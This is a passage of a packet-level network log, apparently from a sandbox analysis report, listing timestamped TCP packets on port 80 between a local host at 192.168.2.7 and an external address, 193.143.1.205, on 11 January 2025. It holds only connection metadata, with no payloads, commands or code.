Jan 11, 2025 05:19:26.348952055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.348974943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.349003077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.349513054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.349526882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.349567890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.349579096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.349598885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.349611044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.349621058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.349632025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.349649906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.349680901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.350522041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.350538969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.350552082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.350563049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.350569963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.350578070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.350589037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.350600004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.350613117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.350613117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.350640059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.351416111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.351430893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.351442099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.351452112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.351463079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.351474047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.351476908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.351517916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.351526976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.372854948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.372876883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.372893095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.372936964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.413409948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.413431883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.413476944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.449594021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.449611902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.449625969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.449636936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.449651003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.449678898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.449743032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.472282887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472305059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472316980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472330093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472418070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.472434044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472446918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472459078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472518921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.472695112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472707987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472718000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472731113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472742081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472748041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.472757101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472769022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.472786903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.472812891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.472898960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473594904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473606110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473619938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473632097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473639965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.473645926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473659992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473670006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.473674059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.473685980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.473714113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.474626064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.474637985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.474651098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.474662066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.474675894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.474688053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.474704027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.474731922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.475284100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.475296974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.475307941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.475326061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.475338936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.475353003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.475364923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.475368023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.475394964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.475406885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.476161003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.476174116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.476183891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.476196051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.476205111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.476211071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.476221085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.476224899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.476238012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.476268053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.476284027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.476962090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.477061987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.477073908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.477088928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.477099895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.477104902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.477111101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.477124929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.477133036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.477166891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.478010893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478024006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478037119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478048086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478066921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478070974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.478080034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478092909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478095055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.478121042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.478132010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.478903055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478915930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478926897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478936911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478946924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478956938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478957891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.478971004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.478979111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.479209900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.479999065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.480011940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.480021954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.480034113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.480050087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.480067015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.480321884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.480334044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.480372906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.482848883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.482868910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.499897957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.499919891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.499933958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.499947071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.500057936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.500057936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.536335945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536356926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536369085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536380053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536392927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536403894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536416054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536422014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.536427021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536439896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536453009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.536477089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.536504030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.559032917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.559053898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.559068918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.559079885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.559093952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.559111118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.559163094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.574563026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574583054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574604988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574615955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574629068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574640989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574644089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.574670076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.574703932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.574754000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574767113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574779034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574790955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.574800968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.574836016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.586532116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597017050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597034931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597047091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597084045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597120047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597168922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597181082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597198963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597210884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597215891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597218037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597228050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597242117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597251892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597253084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597280979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597290039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597338915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597351074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597364902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597377062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597388029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597409010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597431898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597489119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597584963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597600937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597613096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597630024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597640991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597651958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597686052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597727060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597742081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597754002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597786903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597832918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597846031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597856998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.597884893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.597907066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598043919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598057032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598068953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598078012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598090887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598119020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598248005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598261118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598273993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598284960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598297119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598304987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598308086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598324060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598325968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598336935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598352909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598385096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598402023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598413944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598426104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598436117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598447084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598454952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598459959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598472118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598486900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598505020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598841906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598853111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598865032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598898888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598907948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598920107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598922968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598932028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598944902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.598963976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.598985910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602097034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602109909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602123022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602144957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602157116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602166891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602174044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602179050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602189064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602190971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602205038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602210045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602241993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602242947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602256060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602267981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602281094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602289915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602291107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602304935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602312088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602343082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602595091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602607012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602618933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602629900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602644920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602659941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602828979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602842093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602854967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602864981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602878094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602880001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602890015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.602905989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.602931976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.603076935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603089094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603101015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603111029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603121996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603125095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.603132963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603144884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603147030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.603166103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.603198051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.603924036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603943110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603956938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603969097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603981018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.603992939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.604000092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.604007006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.604023933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.604048967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.608319044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.622929096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.622948885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.622962952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.622984886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.622997046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.623009920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.623012066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.623012066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.623022079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.623040915 CET	80	49699	193.143.1.205	192.168.2.7
